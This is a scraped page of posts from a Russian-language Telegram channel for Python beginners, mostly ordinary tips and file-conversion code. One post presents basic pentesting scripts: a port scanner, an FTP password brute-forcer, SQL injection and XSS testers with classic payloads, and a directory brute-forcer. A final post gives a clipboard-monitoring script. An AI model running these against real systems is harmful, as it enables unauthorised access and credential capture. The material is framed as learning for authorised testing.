Последние посты Python для новичков (@pythonvideo) в Telegram

Посты канала Python для новичков

Python для новичков
Админ: @solkogan
Купить рекламу: https://telega.in/c/pythonvideo
6,417 подписчиков
255 фото
15 видео
Последнее обновление 27.02.2025 08:32

Похожие каналы

Python/ django
59,846 подписчиков
Архиватор | IT
58,416 подписчиков

Последний контент, опубликованный в Python для новичков на Telegram


10 полезных, но неочевидных советов по Python, которые помогут вам писать более эффективный и чистый код:

1. Используйте генераторы списков: Генераторы списков (list comprehensions) могут сделать ваш код более компактным и читаемым. Например, вместо цикла for для создания списка, используйте генератор списков:

 squares = [x**2 for x in range(10)]


2. Изучайте встроенные функции: Python имеет множество встроенных функций, таких как map, filter, reduce, которые могут упростить ваш код. Например:

 from functools import reduce
numbers = [1, 2, 3, 4]
product = reduce(lambda x, y: x * y, numbers)


3. Используйте аннотации типов: Аннотации типов помогут вам и другим разработчикам лучше понять, какие типы данных ожидаются и возвращаются функциями. Например:

 def add(a: int, b: int) -> int:
return a + b


4. Изучайте модуль `collections`: Модуль collections предоставляет полезные структуры данных, такие как defaultdict, Counter, deque, которые могут упростить работу с данными.

5. Используйте контекстные менеджеры: Контекстные менеджеры (with statement) помогут вам управлять ресурсами, такими как файлы, более безопасно и эффективно. Например:

 with open('file.txt', 'r') as file:
content = file.read()


6. Изучайте декораторы: Декораторы позволяют вам модифицировать поведение функций и методов. Например, вы можете создать декоратор для логирования:

 def logger(func):
def wrapper(*args, **kwargs):
print(f"Calling {func.__name__}")
return func(*args, **kwargs)
return wrapper

@logger
def add(a, b):
return a + b


7. **Используйте f-strings для форматирования строк**: f-strings делают форматирование строк более читаемым и удобным. Например:

 name = "Alice"
age = 30
print(f"Name: {name}, Age: {age}")


8. Изучайте модуль `itertools`: Модуль itertools предоставляет функции для работы с итераторами, которые могут значительно упростить ваш код. Например:

 import itertools
for item in itertools.chain([1, 2], [3, 4]):
print(item)


9. Используйте `enumerate` для итерации с индексами: Функция enumerate позволяет вам итерировать по списку с автоматическим подсчетом индексов. Например:

 for index, value in enumerate(['a', 'b', 'c']):
print(index, value)


10. Изучайте модуль `functools`: Модуль functools предоставляет функции высшего порядка, такие как partial, которые могут упростить работу с функциями. Например:

 from functools import partial
def multiply(x, y):
return x * y
double = partial(multiply, 2)
print(double(5)) # Output: 10


Эти советы помогут вам писать более эффективный и читаемый код на Python. Удачи в вашем программировании!

15 полезных советов по программированию, которые помогут вам стать более эффективным и продуктивным разработчиком:


Изучайте основы: Прежде чем переходить к сложным темам, убедитесь, что вы хорошо понимаете основы программирования, такие как структуры данных, алгоритмы и парадигмы программирования.

Пишите чистый код: Следуйте принципам чистого кода, таким как KISS (Keep It Simple, Stupid) и DRY (Don't Repeat Yourself). Это сделает ваш код более читаемым и поддерживаемым.

Используйте системы контроля версий: Git и другие системы контроля версий помогут вам отслеживать изменения в коде, работать в команде и легко возвращаться к предыдущим версиям.

Тестируйте свой код: Напишите unit-тесты, интеграционные тесты и другие виды тестов, чтобы убедиться, что ваш код работает правильно и не содержит ошибок.

Изучайте новые языки и технологии: Не останавливайтесь на одном языке программирования. Изучение новых языков и технологий расширит ваш кругозор и сделает вас более гибким разработчиком.

Читайте и пишите документацию: Хорошая документация помогает другим разработчикам понять ваш код и использовать его. Пишите комментарии, README-файлы и другую документацию.

Используйте инструменты автоматизации: Автоматизация рутинных задач с помощью скриптов и инструментов CI/CD сэкономит ваше время и снизит вероятность ошибок.

Общайтесь с сообществом: Участвуйте в форумах, конференциях и встречах разработчиков. Общение с другими программистами поможет вам узнать новые тренды и лучшие практики.

Решайте задачи на практике: Практика — ключ к успеху. Решайте задачи на платформах вроде LeetCode, HackerRank или Codewars, чтобы улучшить свои навыки.

Изучайте паттерны проектирования: Паттерны проектирования помогут вам писать более структурированный и повторно используемый код.

Оптимизируйте производительность: Учитывайте производительность вашего кода. Изучайте алгоритмы и структуры данных, которые помогут вам писать более эффективные программы.

Используйте IDE и другие инструменты разработки: Современные IDE и инструменты разработки могут значительно ускорить процесс написания кода и отладки.

Развивайте навыки отладки: Умение эффективно отлаживать код — важный навык. Изучайте инструменты отладки и методы поиска ошибок.

Следите за безопасностью: Учитывайте аспекты безопасности при написании кода. Изучайте уязвимости и методы их предотвращения.

Не бойтесь ошибаться: Ошибки — это часть процесса обучения. Не бойтесь экспериментировать и учиться на своих ошибках.

Неплохой бесплатный курс по нейросетям

https://github.com/mlabonne/llm-course?tab=readme-ov-file

#it

Почитайте - это сейчас в теме ИИ популярно

https://habr.com/ru/companies/ods/articles/776478/

Примеры кода на Python для преобразования файлов форматов DOCX, XML, XLSX и PDF в текстовые файлы (TXT). Для этого потребуется установить несколько библиотек: python-docx, lxml, openpyxl и PyPDF2.

### Преобразование DOCX в TXT

Для работы с DOCX файлами используем библиотеку python-docx.

from docx import Document

def docx_to_txt(docx_path, txt_path):
doc = Document(docx_path)
with open(txt_path, 'w', encoding='utf-8') as txt_file:
for para in doc.paragraphs:
txt_file.write(para.text + '\n')

# Пример использования
docx_to_txt('example.docx', 'example.txt')


### Преобразование XML в TXT

Для работы с XML файлами используем библиотеку lxml.

from lxml import etree

def xml_to_txt(xml_path, txt_path):
tree = etree.parse(xml_path)
root = tree.getroot()
with open(txt_path, 'w', encoding='utf-8') as txt_file:
for elem in root.iter():
txt_file.write(etree.tostring(elem, pretty_print=True).decode('utf-8') + '\n')

# Пример использования
xml_to_txt('example.xml', 'example.txt')


### Преобразование XLSX в TXT

Для работы с XLSX файлами используем библиотеку openpyxl.

from openpyxl import load_workbook

def xlsx_to_txt(xlsx_path, txt_path):
wb = load_workbook(xlsx_path)
with open(txt_path, 'w', encoding='utf-8') as txt_file:
for sheet in wb.worksheets:
for row in sheet.iter_rows(values_only=True):
txt_file.write('\t'.join(map(str, row)) + '\n')

# Пример использования
xlsx_to_txt('example.xlsx', 'example.txt')


### Преобразование PDF в TXT

Для работы с PDF файлами используем библиотеку PyPDF2.

import PyPDF2

def pdf_to_txt(pdf_path, txt_path):
with open(pdf_path, 'rb') as pdf_file:
reader = PyPDF2.PdfReader(pdf_file)
with open(txt_path, 'w', encoding='utf-8') as txt_file:
for page_num in range(len(reader.pages)):
page = reader.pages[page_num]
txt_file.write(page.extract_text() + '\n')

# Пример использования
pdf_to_txt('example.pdf', 'example.txt')


### Установка библиотек

Для установки необходимых библиотек используйте следующие команды:

pip install python-docx lxml openpyxl PyPDF2


Эти примеры демонстрируют базовые методы преобразования различных форматов файлов в текстовые файлы. В зависимости от структуры и содержания ваших файлов, возможно, потребуется дополнительная обработка данных.

https://habr.com/ru/companies/astralinux/articles/872510/

https://habr.com/ru/articles/871434/

Пентестинг (тестирование на проникновение) включает в себя множество различных техник и инструментов для выявления уязвимостей в системах. Вот несколько примеров кода на Python, которые могут быть полезны для пентестинга:

### 1. Сканирование портов

Для сканирования портов можно использовать библиотеку scapy. Установите её с помощью команды pip install scapy.

from scapy.all import *

def scan_port(ip, port):
p = IP(dst=ip)/TCP(dport=port, flags="S")
resp = sr1(p, timeout=1, verbose=0)
if resp and resp.haslayer(TCP) and resp.getlayer(TCP).flags == 0x12:
sr(IP(dst=ip)/TCP(dport=port, flags="R"), timeout=1, verbose=0)
return True
return False

def scan_ports(ip, ports):
open_ports = []
for port in ports:
if scan_port(ip, port):
open_ports.append(port)
return open_ports

ip = "192.168.1.1"
ports = range(1, 1024)
open_ports = scan_ports(ip, ports)
print(f"Open ports: {open_ports}")


### 2. Брутфорс FTP

Для брутфорса FTP можно использовать библиотеку ftplib.

from ftplib import FTP

def brute_force_ftp(host, user, passwords):
for password in passwords:
try:
ftp = FTP(host)
ftp.login(user, password)
print(f"Success: {user}:{password}")
ftp.quit()
return True
except:
pass
return False

host = "ftp.example.com"
user = "admin"
passwords = ["password1", "password2", "password3"]
brute_force_ftp(host, user, passwords)


### 3. SQL-инъекция

Для тестирования на SQL-инъекции можно использовать библиотеку requests.

import requests

def test_sql_injection(url, params):
payloads = ["' OR '1'='1", "' OR '1'='1' --", "' OR '1'='1' /*"]
for payload in payloads:
for param in params:
params[param] = payload
response = requests.get(url, params=params)
if "error" in response.text.lower() or "syntax" in response.text.lower():
print(f"Possible SQL injection vulnerability with payload: {payload}")

url = "http://example.com/login"
params = {"username": "admin", "password": "password"}
test_sql_injection(url, params)


### 4. XSS (Cross-Site Scripting)

Для тестирования на XSS можно использовать библиотеку requests.

import requests

def test_xss(url, params):
payloads = ["<script>alert('XSS')</script>", "<img src=x onerror=alert('XSS')>"]
for payload in payloads:
for param in params:
params[param] = payload
response = requests.get(url, params=params)
if payload in response.text:
print(f"Possible XSS vulnerability with payload: {payload}")

url = "http://example.com/search"
params = {"q": "test"}
test_xss(url, params)


### 5. Перебор директорий

Для перебора директорий можно использовать библиотеку requests.

import requests

def directory_brute_force(url, directories):
for directory in directories:
test_url = f"{url}/{directory}"
response = requests.get(test_url)
if response.status_code == 200:
print(f"Directory found: {test_url}")

url = "http://example.com"
directories = ["admin", "login", "dashboard", "backup"]
directory_brute_force(url, directories)


Эти примеры демонстрируют базовые техники пентестинга. Пожалуйста, используйте их только в законных целях и с разрешения владельцев систем.

Для перехвата буфера обмена можно использовать библиотеку pyperclip.

Установите её с помощью команды

pip install pyperclip

import pyperclip
import time

def clipboard_listener():
last_clipboard = ""
while True:
current_clipboard = pyperclip.paste()
if current_clipboard != last_clipboard:
print(f'Clipboard changed: {current_clipboard}')
last_clipboard = current_clipboard
time.sleep(1)

clipboard_listener()